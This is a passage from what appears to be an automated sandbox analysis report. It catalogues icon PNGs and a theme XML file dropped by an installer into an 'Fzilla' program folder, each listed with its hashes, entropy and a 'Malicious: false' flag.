Encrypted:	false
SSDEEP:	3:yionv//thPl9vtt/6lXFk+Rghl/NwBhIdSvIVEaqmlWGEBSt2g1p:6v/lhPf61XqhgviEadHEBGp
MD5:	16712A5C7C7E89DB36FA205315F900DD
SHA1:	82EA45047B48C8571917F57CFE551D00339C92AA
SHA-256:	69E8A527253DD38DAEC908AD74F3AD24A7BF5E29F0AFD1E5E7A89F7CE1ED6AAD
SHA-512:	1BC434FE0E653C458FC9D219262BB0B57E3DA9D72811B34E0CC4E9934896F93F678808B0A1AE3A2A8BD3F36F4A30D43528BF94431A737E000DF97B6206C3468C
Malicious:	false
Preview:	.PNG........IHDR.............(-.S....PLTE............w....tRNS.@..f...2IDATx...1..0..P..?tu.....Q\...~..p.JfQ...:.<....^<GC.sc..7....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\classic\16x16\queueview.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 1-bit grayscale, non-interlaced
Category:	dropped
Size (bytes):	117
Entropy (8bit):	5.372664012913981
Encrypted:	false
SSDEEP:	3:yionv//thPl9vk/mnplJYBxfqViEMmE6N+oiHar+YUdmLljp:6v/lhPcupEBxChnEk+oyG+YEkjp
MD5:	A64022375CC978969CB46B4F775F86B4
SHA1:	1F6EE2E92AA52A9CC030BB46FCA7C267EF3B719E
SHA-256:	59EFD19F7C4A4332BCED0F51EB997D283589BA57CFB3DCF7E4678C02E254E0C0
SHA-512:	CB71011448E20A6A3F741544E6CECCF2AAC7FDC6D29C39A19562F25F81C817009B5E42C9F714A2461D0C555E83F6024DCB46EDE17369945E9D298BA9EDB48A7B
Malicious:	false
Preview:	.PNG........IHDR.............7.......tRNS..........IDATx.c.!......3........?".B.6E... ....?.........8..=....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\classic\16x16\reconnect.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit gray+alpha, non-interlaced
Category:	dropped
Size (bytes):	103
Entropy (8bit):	5.341808018592505
Encrypted:	false
SSDEEP:	3:yionv//thPl9vtJK6PtLshxGh6satlMDHl9ilVhxup:6v/lhPO6RshxGh6bwHvlp
MD5:	3040CFFEDC34A0183C4183AC0C8F8FB0
SHA1:	F0BE3EEB8086F9FBB832C58EFBBB42E372199181
SHA-256:	8101A4842D2688CAE24D1CB12BBA6F23E265E3AFDBBF713EA13CBF1A28BA3D6D
SHA-512:	EA9743D5D97C1116C41597B87E6A263A951B00AC230D142EA34F5A95199F31FEEF1851607ECE987F7F2CBEE5F710A9A7A54D36FB8B6C71773891D804448A1919
Malicious:	false
Preview:	.PNG........IHDR...............7.....IDATx.c ..G....GS@@.....`BJ\|.#...x....G......UEq.........IEND.B`.

C:\Program Files (x86)\Fzilla\resources\classic\16x16\refresh.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	135
Entropy (8bit):	5.683219265482871
Encrypted:	false
SSDEEP:	3:yionv//thPl9vt3lskxeF0LPRTpJgu0Ktm7AAqb2Ab4dlldll/sup:6v/lhP8kemV7PzwUVLUdlllkup
MD5:	CF546B0EECBA2FE00DB8E684DD5D188C
SHA1:	8084CD9B696BD829A0C16965ED50C66890646916
SHA-256:	C9691E19B1D819764731085B45D7FC755D6EE5159D051A70238F5BC8B10F8EDB
SHA-512:	6861A2DCDE5867C26B7235A7E5B78AE49701F27F5E82541ADCB4190144FFE71FCA1849DE3BEE6F9D2056F6B4E96FDA1FE4ADACD1670F96675BEC45E9C360C496
Malicious:	false
Preview:	.PNG........IHDR................a...NIDATx.....0...>~.. ..n:..d.*...#...d.8./`..B..b...,...y@=.....e...A\..Z.....d8c........IEND.B`.

C:\Program Files (x86)\Fzilla\resources\classic\16x16\remotetreeview.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 2-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	139
Entropy (8bit):	5.432796661633841
Encrypted:	false
SSDEEP:	3:yionv//thPl9vn0Xl/E0h/+RQhl/2xglXKNpmknavnaywnYllVp:6v/lhP2l/E0h/+qhAxpVk5wnY/Vp
MD5:	D6F0AE8BCBDCA7871BC5EEF3138B7074
SHA1:	AA54F84E30FE76AD671F6D28589A2D3E94B78E88
SHA-256:	AD7A6C6E5D25F5400B17B5A7A920C76C4BC2C735FCE9D7681D8E35A66993228A
SHA-512:	9B7EFD5E5F4BC7032726C94D353E55F3A74493012F6348B00D416FF7D59A25068450FFA047344E328CF6CAE6AA1727E1EF7161D73436BF2C99E78F72E64BDC8E
Malicious:	false
Preview:	.PNG........IHDR.............b.......PLTE.........'.......tRNS.@..f...0IDATx...1..........PR...*9..B .,R$HJf..O8...:.............IEND.B`.

C:\Program Files (x86)\Fzilla\resources\classic\16x16\server.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	188
Entropy (8bit):	6.3217907636794095
Encrypted:	false
SSDEEP:	3:yionv//thPl9vtt+NTlrRSAllglj9+/BNx7Eqntws0nnZxIIUQFC/GY8lfstvPLN:6v/lhPmNpozj2BNCRnnZxIuiGYNvj/jp
MD5:	2AE57E91F5E79B79A5FB3A3DAB0941C9
SHA1:	8AC9369B08F55DE18B9FF994D2395C4320ECDFEC
SHA-256:	8FC76E8D13B0F5C554F28872907F804425F9A833D8AA4277E104B19839A0D04B
SHA-512:	05CB73CF5267020FC75553BB6666D0FE0ECE054626CB3CB366E3C9E3794FC4405FD0B9834CB16C03D15B0DE41227AA686CE89A8B169091967260EA1220E9F927
Malicious:	false
Preview:	.PNG........IHDR...............h6....tRNS......../....qIDATx...1.. .....~.O...~..v1....&..$.S....../*..P..Z.Q...s.!.N .!.N(T........%..p..5..0Z...Y...%...x.............IEND.B`.

C:\Program Files (x86)\Fzilla\resources\classic\16x16\sitemanager.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	226
Entropy (8bit):	6.5109975094565575
Encrypted:	false
SSDEEP:	6:6v/lhPmNpozeFQtmnnnN/hDsAcKN5wiLLDPi3p:6v/7uNpmeF4oDtVL65
MD5:	9CD1CF88890AF5DFBF98BA34629FB846
SHA1:	328ADEB234BFF5DD2395493A3B4B749FADDFC1EC
SHA-256:	D6DEB4EA6594DB052C166BED17924D5C8ED402E055609C4141DE1A66275C5C4D
SHA-512:	E4A6BF81F5D6BB29563F2FF99BBB72CBD384CD387B436A1016A93B777DCD4B2D945DBDDE626355FE6A12BD732FDB8B0C818BB6282E7BCAC221260782C72C22BC
Malicious:	false
Preview:	.PNG........IHDR...............h6....tRNS......../.....IDATx.m....0..o..-..>V.*..H.@.RT.G.^...H.I.....<......t.UQ.......s.K..UbJ...u.0..;.p:9..j.o .e...r..t...................K"E3[f.N.F.&sUA........A.^..@.`..C.l....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\classic\16x16\speedlimits.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	301
Entropy (8bit):	6.880532369203427
Encrypted:	false
SSDEEP:	6:6v/lhPfbjSjargTfhr81BoOL7kwVObZETcrtgFNyAf6qVFoGYbp:6v/7Hqjad1u0JTcRgFrFQ
MD5:	A1C73D5A053CB0DE1E50563C9FCD30D3
SHA1:	58D73C51BBCBC15EFFD450F5DC1B5CED73D15109
SHA-256:	A7DCF0626F73A1FAABD673DD740E26E0DA5A6B50A7DF338F8E789CBA58743099
SHA-512:	2622015EB07CB91785AEB9B64A367B3870A7B8BE5F6AC79452B99FE1A9620ECD1E9063B859D79B693F334B6CDEDE0C6FB47B97DBCDA9BA86815B1896372B41A5
Malicious:	false
Preview:	.PNG........IHDR................a....IDATx.c...D.f. >K.J^.....(.....q3P..(.y./.w....s.....`1q>.?.5....{......`....x.',..HZ........#f.....7L#L...y......>...........M...F.p..7@.........o.!.....A4........kjj>aaa...j...4nP..4...5'''.KLL..d..A...a....Pf..a@zz......`... ..5.......L......IEND.B`.

C:\Program Files (x86)\Fzilla\resources\classic\16x16\symlink.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit gray+alpha, non-interlaced
Category:	dropped
Size (bytes):	103
Entropy (8bit):	5.32971954773972
Encrypted:	false
SSDEEP:	3:yionv//thPl9vtJK6PtLshxfZlR8w4bYBaXw15xp6Xsup:6v/lhPO6RshxBLz40BnxIXsup
MD5:	E872DF7FA5DD21588A72F76200C20816
SHA1:	819D98721298F91B4DE5DA0A836C4BA69272D896
SHA-256:	8A3B48F221FD4D5CD4376968B4B28BBBCFF254A4EB3632F656DEF088E2BDE023
SHA-512:	51BCC676DB0C89FF8D2C29FDC439C328117BD5AD24F3DCFF4DC88F56D67B930029FA2412E9DE5B77940C0AFEE3FA71C3CFBF4CBDBFCF389FCB5CC7D67EAD0CEA
Malicious:	false
Preview:	.PNG........IHDR...............7.....IDATx.c.A@.?......4..%0...%..0...2L.t.._......b.p..t....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\classic\16x16\synchronize.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	207
Entropy (8bit):	6.672332787181316
Encrypted:	false
SSDEEP:	6:6v/lhP0kzh77nT4UURmE1CwZslu5xLck6f3jp:6v/7f77nyRmE1CtM5d6fd
MD5:	64A1BAB17BA5EDFE9261537E63AFA507
SHA1:	608F951287229E7A34FDF0C8B938430258AA780E
SHA-256:	C42A4DC0C115E109CB4A77B845CD1134AFFAD6117CF34B2DCDF107F3ADC288E3
SHA-512:	3A59F8C9B322A944775B0312770C593DEE9321F518BEFC3AF98D951792894343C23AF76B7276291E4A864FB9CAD4DF7BC74AB7336F6BE26027267238FF3614C4
Malicious:	false
Preview:	.PNG........IHDR................a....IDATx..Q...0..;e.8q..i_.2...._>1............\|.ek..?>.q..s.u}Vk/......Wc*....es..R.....:.DA.6MO....=...X.6...@..,..1.~..4F..`)...a.{AF...........pk.....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\classic\16x16\upload.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	124
Entropy (8bit):	5.7031717489459455
Encrypted:	false
SSDEEP:	3:yionv//thPl9vt3lyFhDmkolERqglE94kWk/WDNF4OILll/Vp:6v/lhPiFhDmkVA4ktOIxl/Vp
MD5:	86616009BCB357544B0056012333E23B
SHA1:	574A6A7249E7B2FBEB343438A956A14786EA9FF2
SHA-256:	83940C38223C617478A6BE4993298CACE9A60657DCB3B48ABED9EB4892CE80BC
SHA-512:	AD95EAEC6CB16443D1B2DEDEA930C66B17EA017D1368E992E82697BBFEFF91EF963E7B9F7D08802B8389971ED27247D1AF7EA8C68C5B995A6B8CAA629F3C2709
Malicious:	false
Preview:	.PNG........IHDR................a...CIDATx.c...D&.....a.......6....&l.H..4'\|...80.f'BA....j&h \. ......n.4.......IEND.B`.

C:\Program Files (x86)\Fzilla\resources\classic\16x16\uploadadd.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	179
Entropy (8bit):	6.352097747179528
Encrypted:	false
SSDEEP:	3:yionv//thPl9vt3llWebPfgXS7VJuQXb1FvE7rcm3Qr/qb7FH8VW5GY+kg1p:6v/lhPbb3gXSRJBXpScm3QGNH8VgGbbp
MD5:	A30DF9F34DC7814120BA50F5DD0CE35A
SHA1:	97B36BCC8CA676C45E125D6041E1C7179EFC2E0E
SHA-256:	297B35A7D181F05BA6DD330DD4E39F4FEA7AD6F01A22213CE14E3CDECB164CD3
SHA-512:	BB495C7962BDD98FA13F5CD5041F32768B4229ECD42E896A2130318B26DEE39CAC68E417291FAE057E968C4AF679D5F573833CF4D96F9D007D333E5BE52F4F0D
Malicious:	false
Preview:	.PNG........IHDR................a...zIDATx.b.\|.+p!..20........6-.$..BQ.j_Q..;.><....,0...OY+z.r..`.#0.....]..,/.8E.T .L.5p..\..fe.......q2.N...\|P....O 22.d...=s....=.....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\classic\is-HS53K.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	XML 1.0 document, ASCII text
Category:	dropped
Size (bytes):	217
Entropy (8bit):	5.032428637420828
Encrypted:	false
SSDEEP:	6:TMVBd6OjzwgKtrcaQmxBucKLDW5kJR3oHUTUZBQIKe:TMHdtAg9mxoDW5sR4HKABQIh
MD5:	3FE381E8906640CC0CFE3AA44C32477E
SHA1:	7B2D8175BAE69FB8E4FAB45F52874495BF2F49FA
SHA-256:	D390CAA668232F9E52AE01E77081BD26A93FEC0BC0718DEFC2671DC6DCE317E4
SHA-512:	D538091FC50912463BDFB14320DFAA00D5FC8CBBE79296D26DD9E3C61A59D4F759059EB1757A3A9B708389F26872B96A8D98B91706816B7C2717815146740300
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>.<FileZilla3><Theme><Name>Classic</Name><Author>Tim Kosse</Author><Mail>tim.kosse@filezilla-project.org</Mail><size primary="1">16x16</size></Theme></FileZilla3>.

C:\Program Files (x86)\Fzilla\resources\classic\theme.xml (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	XML 1.0 document, ASCII text
Category:	dropped
Size (bytes):	217
Entropy (8bit):	5.032428637420828
Encrypted:	false
SSDEEP:	6:TMVBd6OjzwgKtrcaQmxBucKLDW5kJR3oHUTUZBQIKe:TMHdtAg9mxoDW5sR4HKABQIh
MD5:	3FE381E8906640CC0CFE3AA44C32477E
SHA1:	7B2D8175BAE69FB8E4FAB45F52874495BF2F49FA
SHA-256:	D390CAA668232F9E52AE01E77081BD26A93FEC0BC0718DEFC2671DC6DCE317E4
SHA-512:	D538091FC50912463BDFB14320DFAA00D5FC8CBBE79296D26DD9E3C61A59D4F759059EB1757A3A9B708389F26872B96A8D98B91706816B7C2717815146740300
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>.<FileZilla3><Theme><Name>Classic</Name><Author>Tim Kosse</Author><Mail>tim.kosse@filezilla-project.org</Mail><size primary="1">16x16</size></Theme></FileZilla3>.

C:\Program Files (x86)\Fzilla\resources\cyril\16x16\ascii.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	275
Entropy (8bit):	6.763272539860218
Encrypted:	false
SSDEEP:	6:6v/lhPmNpo/lDtC01NitUXT2JygeUDWrzIdXDZ+4HSF4lthup:6v/7uNpQzC01NitUXT2MgsolFyylzc
MD5:	EB40D1EB8B7425F6996ADD48915746BD
SHA1:	0DAE7CF917F1B8113C155A60E88EB83F9B085770
SHA-256:	809F073C5C3B0BC82192536DD2A0D6F5B4DC18535D8B4018D0B0911558FE80F1
SHA-512:	3118283C9DDA19A22F9FBC2694207B57C50585B513A0EED3E6700E60425BBC6E584AC8C4CB7980BC3B4286F212F6F92E24019DC0D61E571AE5597B80DC2AA5B2
Malicious:	false
Preview:	.PNG........IHDR...............h6....tRNS......7X.}....IDATx.b.O"..>...F....!.5..d....6....6hC".(0...T....1..lV7.. B.)......z8A#..>.g.....\|~.?8.Gh2G..."bp..v.hp....7.U..-w<.=..]7.""..e...S.4xY.W(....O.....R.\.]nK.C..9............r...d~^1......h@.....aU{h.....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\cyril\16x16\auto.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	495
Entropy (8bit):	7.316989679243467
Encrypted:	false
SSDEEP:	12:6v/7uNpQK4MToGp9HzBeUDbCj+b5XMLErs094dnq4:nTmw/zBvbCuMws0wq4
MD5:	3E33267FA0F6AB1BAA7512E44C432610
SHA1:	0B2C28F9882520EC162F7878E11C714B2A4B80FE
SHA-256:	27634804AC1D3513B661B41FA04A33AC8689E80347F2AD1A2848B25975101394
SHA-512:	B71DECB9EE3B9510B329BEDE5BA2D98FAAE4CBE111C7F599018C7D4F889BB0F463624F604AB72C19001219E240B19A9483E8FB5AC02D9B0EC9108B182B53F215
Malicious:	false
Preview:	.PNG........IHDR...............h6....tRNS......7X.}....IDATx.c.O".i.}.~0.m..;...0.......~......G..NCh.=g........w...}.r..)..?~....w.~....a.;.+7.....[.P.=.c.e...._.k.3w:P..O.K..f.[....f.\|.r....5.n=z..a.,..Kw]-.~X5i...\|....C...-...?..a.@....B..lz..+.E....-..Z........S=.B..g....r.-..q.{...a..@.o>~+.r.-`.o.B..QKX\|.{Vn.r..?..5...../.-........\..#.c.i..3.^`j....D7........wU..M].......y....?P==w.._.......F .x.3.......J...(..0.H......Y.`...dj....k....r....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\cyril\16x16\binary.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	270
Entropy (8bit):	6.865999338064653
Encrypted:	false
SSDEEP:	6:6v/lhPp+IOreikJvHi8enlUVB1oGnyjkO3p9IF0A7Rcldup:6v/7ireikx+n2bqwU3UyURcldc
MD5:	A54567E2436DBB522431A51C00056099
SHA1:	8FABD540D8333A5A1976B04B16033C28A03C9560
SHA-256:	19D2E09FB051AF2E7C43A3278D534794A45AF49709DA2ADFA1089CA103F8DD53
SHA-512:	98D40EBC8818814B99124F52C4A899E2DD76BE4CAB4B4A3246FCB7698982F4FC008F7A11B4D9160229D570E86F6DF9799BDE4EE967718B062333D60E28C53506
Malicious:	false
Preview:	.PNG........IHDR................a....IDATx..a..0...d.(..t..3...R......(...t8..x\|_..G...M..$I.(...1.iJb-.2I.E.<.I..aH....N[U.q..s...w.@....T.........{.`A....G.`.%...;>.........nb]'....F#@..\\..C./.A........ly...w........X....L.@.....`..._..:.. . ....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\cyril\16x16\bookmark.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	268
Entropy (8bit):	6.866829815207507
Encrypted:	false
SSDEEP:	6:6v/lhPSj7SFLdjYnHyRxFJwhsYLSdSyypSKIr++/bp:6v/7qodjWQQGRKt+9
MD5:	481C496B10838B0985C58162733C0F15
SHA1:	1DE798D52F600431BE816FE434D63BD1B3509BDC
SHA-256:	5A9C5658CC4B82DCDB423D580054103C6AC7A40A93ACE1D141DA70C00E51EBD1
SHA-512:	02C1085A775028BAD027AAF8408C9AE1364CA794CC5AC54821A2DDD0A8DD70C489DD4CDA669D81AD16C489AE15F177A0DB9BA2460A06FA5721881EACD76338DA
Malicious:	false
Preview:	.PNG........IHDR................a....IDATx....a.0.EO.....`.......g..?C-..z.$:n......g..-..>.n...Z&'..k...L..._Y?<3.6.b..W......3.k.\"A......O......`...I..w.`u.g......=aC.0.W.]N..Klt~x...7..Y.........H..f=....e......`............=.RR.`.[.as...?.^..Q.......IEND.B`.

C:\Program Files (x86)\Fzilla\resources\cyril\16x16\cancel.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	298
Entropy (8bit):	6.929556212034225
Encrypted:	false
SSDEEP:	6:6v/lhPmNpot/7/eYhwordWi3XIZ+1aoLH90MpVw7/LrFOQcw9TM9Egjp:6v/7uNpA/eYm7ZCtL9ZwzgQ/9A97N
MD5:	97796311160C86A57A37E3428D8533FC
SHA1:	67E8A651CE8F32DFCA6C96043D9D0470914332CA
SHA-256:	48011CE297F5D44836D4DB4B8C37A9D17532EC69C9FD1889F78632B14902E4C8
SHA-512:	AE2E06E7B5FFE82DBCE0EDD497E05BD95EE4FB000FB376AA7519A52F4ABFF1785D53CF2DE80DE8A2D5E339893738495F4457E2A103C13BEDC830AF04519F8946
Malicious:	false
Preview:	.PNG........IHDR...............h6....tRNS......n.......IDATx....q.1..W.Z.'.g. ...6......Cb...$.5.f.dz.{....=2J.<f......4r.,..8.0..t.......0...."...S.K.C.t.8..D..8...9....%.}.je......Q...<.BM.!.MoG.C...V.........[....o&...V]..f/.S....N..>_#^...>#U..)O.g...3/.../i...n..2K.'.......IEND.B`.

C:\Program Files (x86)\Fzilla\resources\cyril\16x16\compare.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	302
Entropy (8bit):	6.707035762300667
Encrypted:	false
SSDEEP:	6:6v/lhPfMcINYO2vEXyjdyVCgEbMUGAll/hKxS7sM1eSfDI5Ys1Ad9Xzp:6v/7Z7sCjhcu/hKosbUO+dP
MD5:	ACF0B5DD79A6E543CB868A816D3A07FE
SHA1:	0546FF0B9709EB466C3A0C4FB1BC9CD1B413500E
SHA-256:	F7FAAF7EDE3CA7BDB0BF0D77F19FD010E59EE30B8118A700ADD8B8CF13F2506C
SHA-512:	F76F41C037170116323102CAAE289DD09CC06F321A29C52F895AC49BC98EDA4B8A9677BDC850F0FAFC7D7568157C4DA39EBCAF2ACD4758B34F6632539F065CD9
Malicious:	false
Preview:	.PNG........IHDR.............(-.S...fPLTE.......B.Ht='.........?..J..W..d.R4...fA.......d..d.....q..q..r..~..~..~......J..V..5....>..V.5.8....tRNS.@..f...vIDATx.U.U.. .CQ.W.6..M....9...*.f.....YB^x}....t..).p.m.a?.e...a...V..P.}.f.....o..#.Ih.#...Ygh.p.......:..e....J.?.j.b..^.....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\cyril\16x16\disconnect.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	546
Entropy (8bit):	7.4628257710734465
Encrypted:	false
SSDEEP:	12:6v/7uNpQ5m+lqmazIALrYRzOvfomzZyiHEVlAiC5/wj7C3+:nTWmA+zo63xHBj54qO
MD5:	66701BD8596312113E0042F0D730B45F
SHA1:	0F146138E66E86B5714E5615E6AC8EEF29042F57
SHA-256:	BFAEA2A65007C0EAE72F778E471D7F024CC00469FF0F087BCEAE338DA190717F
SHA-512:	89AB5F6C1A1816EBCB6B969616F9891B3FBAE5D047C8BCA90444681A30172667D54CFC5BAB8739E8D9D3A33A6695A5634DB2B0815B0F7E8559006AA64EFB4DDA
Malicious:	false
Preview:	.PNG........IHDR...............h6....tRNS......7X.}....IDATx....rdQ...s{..Z[i&......6.z..V!.Y... .yc4.........).j.....u.N^e<..o6...P.._.])y.[.........~.q!.].7J....b....E..7)G.R._......\....5..o+UX.....@..x$I[......l.Z....R.P.....Z.2..yk..R....)....(...T..B....Wj... @.v.`.....;..../.>2.6....P.T...........)..M..}......L......>a..(..h...r.....OrWt..O.f@...G.......f...%..m..:Z.ac.z..0..h#M......(.V..Hx.M..R....cf"<\|.0.....?....#.E.w.w....t<.z.`...$..t...j.4...!..F.i......M...Z.......[..{.....w......'..h'K......IEND.B`.

C:\Program Files (x86)\Fzilla\resources\cyril\16x16\download.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	123
Entropy (8bit):	5.6207970256458015
Encrypted:	false
SSDEEP:	3:yionv//thPl9vt3lAkxHl/wc2J+cdLMS2YddlWlDZJ5lp1p:6v/lhPQk1lcdIS2wdlYL5lbp
MD5:	1F9145F1B12133F3AC3D5F66DAFC0F15
SHA1:	F7D659948ACC84379A7C7E20D2B8D559F23C76C9
SHA-256:	595C06A53B6C8174B2E2D8F6ECE83418A3C6D92F96A833D5F50C4A32C0A93BA1
SHA-512:	AA8693F77471F59E2E89AEB7A691678AF80C0E1AC52B7AF0946D1D0A914E6B4E4E1E2432091B7813A7EB3E504019CD06C599214E69061B12334E40CFE13978F9
Malicious:	false
Preview:	.PNG........IHDR................a...BIDATx.c...q....4.0.6_......l...Lcb..N8..k.Q..g.!/8...N81!.7.>`....:T.........IEND.B`.

C:\Program Files (x86)\Fzilla\resources\cyril\16x16\downloadadd.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	148
Entropy (8bit):	5.833808023352445
Encrypted:	false
SSDEEP:	3:yionv//thPl9vt3lalOV9Yf3pqllQ0pn1BdbDXvG0NQVFfEpflyoDCl/ljp:6v/lhPql33UllHtDXvG0Ngepso6dp
MD5:	806DC11465F984DF1BB17F449B626AFE
SHA1:	AC7910B3708342E10AECA283176C10B2AD04D077
SHA-256:	6408D2F47E8D61039FB16701C38DCC604D3F9819FB54EE8D8B24A4F5A5A9F59F
SHA-512:	542E5B95381FF2D6A5DAD47BA609B99C15307990CF88A9367411CF7936CD906FA0105DE3CA86BE433CE9CEDBC7258E7FCB81DDD13720A76D2AA471BCCB80D0F1
Malicious:	false
Preview:	.PNG........IHDR................a...[IDATx.c...+p.......dh...0..l/.1!....?.a.....b..\|.d.nLP..20....8.0....F1..!...Dl :.....z..5.~.........IEND.B`.

C:\Program Files (x86)\Fzilla\resources\cyril\16x16\file.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 4-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	157
Entropy (8bit):	5.714748364466332
Encrypted:	false
SSDEEP:	3:yionv//thPl9vhSFZo3Savmqnx7N5hl/2xy5kpl0zZmXCGgFMflek2clllVp:6v/lhPIFZpgmqxJ5hAxEOIYXCJglekd9
MD5:	B39FEB65E483D91B36EB70E0E5733F3D
SHA1:	74AD2D15DE04D121BF6AC8FBE10387B1C06FF7B5
SHA-256:	ED964193D53FFEAF2EF8B45B61ED04084C46AEB74BA1DD614A3967EDA160CBA0
SHA-512:	38A169CAEFC73E75BB24E90BABFCC361B45F8D23487D1D0E0A5ED03D7353FBADA796C94F9BDC6F28AB3BB8C254FB9C04CA9CF3CC2E49D460B3D69230375E38DF
Malicious:	false
Preview:	.PNG........IHDR................R....PLTE...\.._..^.............}...%M....tRNS.@..f...0IDATx.c@.FAAE...%440..`.2B..". .{(.....3:..........NO.......IEND.B`.

C:\Program Files (x86)\Fzilla\resources\cyril\16x16\folder.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	328
Entropy (8bit):	7.066917297198438
Encrypted:	false
SSDEEP:	6:6v/lhPmNpo/lDth42ycCqMpRVkXrfCr/8iE5c6JS4OG/56hbn+XePup:6v/7uNpQzhRCJ2Xrfuywhbntc
MD5:	0BB0DE6B3E559B082358BAA36963D09C
SHA1:	672A797FA418B6BD03047FB3C7C82AD9791BD352
SHA-256:	B1EAD50B331051C8BD05834B9F828DB981934A92850EB80AA2749337728C7258
SHA-512:	F6C5474BE710C084BC8C93FE8AB46052C67533A3952F27535252B89A5B8F04C9194A56432A3D3B0CDBA4855478EBBFFFDB913439BB00AA6F9E402D998697ED8C
Malicious:	false
Preview:	.PNG........IHDR...............h6....tRNS......7X.}....IDATx...._.Q....]KX.m...\kX.....z...w\|......:...c.................f..w#.....e...d...$.1{N....r.ZIR.)j5...Q.g...H.I.\.......d+T;......$..$..P}....\TC4B.@.A...a4.[...g.Z..K.q>/.."...0...j.....8-.y5.. n.!.H..Ka.[.F..d.q.r\..q.....&.....P+~.k.Z..........IEND.B`.

C:\Program Files (x86)\Fzilla\resources\cyril\16x16\folderback.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	226
Entropy (8bit):	6.428633105572263
